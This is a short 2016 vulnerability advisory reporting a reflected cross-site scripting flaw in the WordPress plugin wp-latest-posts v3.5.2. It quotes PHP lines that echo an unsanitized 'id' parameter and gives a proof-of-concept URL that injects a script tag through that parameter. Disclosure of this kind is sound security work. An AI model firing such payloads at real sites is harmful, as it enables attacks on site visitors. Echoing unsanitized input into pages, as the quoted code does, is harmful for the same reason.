Advisory #: 493
Title: Reflected XSS in wordpress plugin wp-latest-posts v3.5.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-latest-posts
Downloads: 28991
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-latest-posts
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-latest-posts/js/wpcufpn_front.js.php: 6: var $window = $(".wpcufpn_outside.wpcufpn_widget_<?php echo $_GET['id']; ?>"),flexslider; 139: $("#wpcufpn_widget_<?php echo $_GET['id']; ?>").flexslider({ The variable id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-latest-posts/js/wpcufpn_front.js.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-latest-posts/js/wpcufpn_front.js.php?id="><script>alert(1);</script><"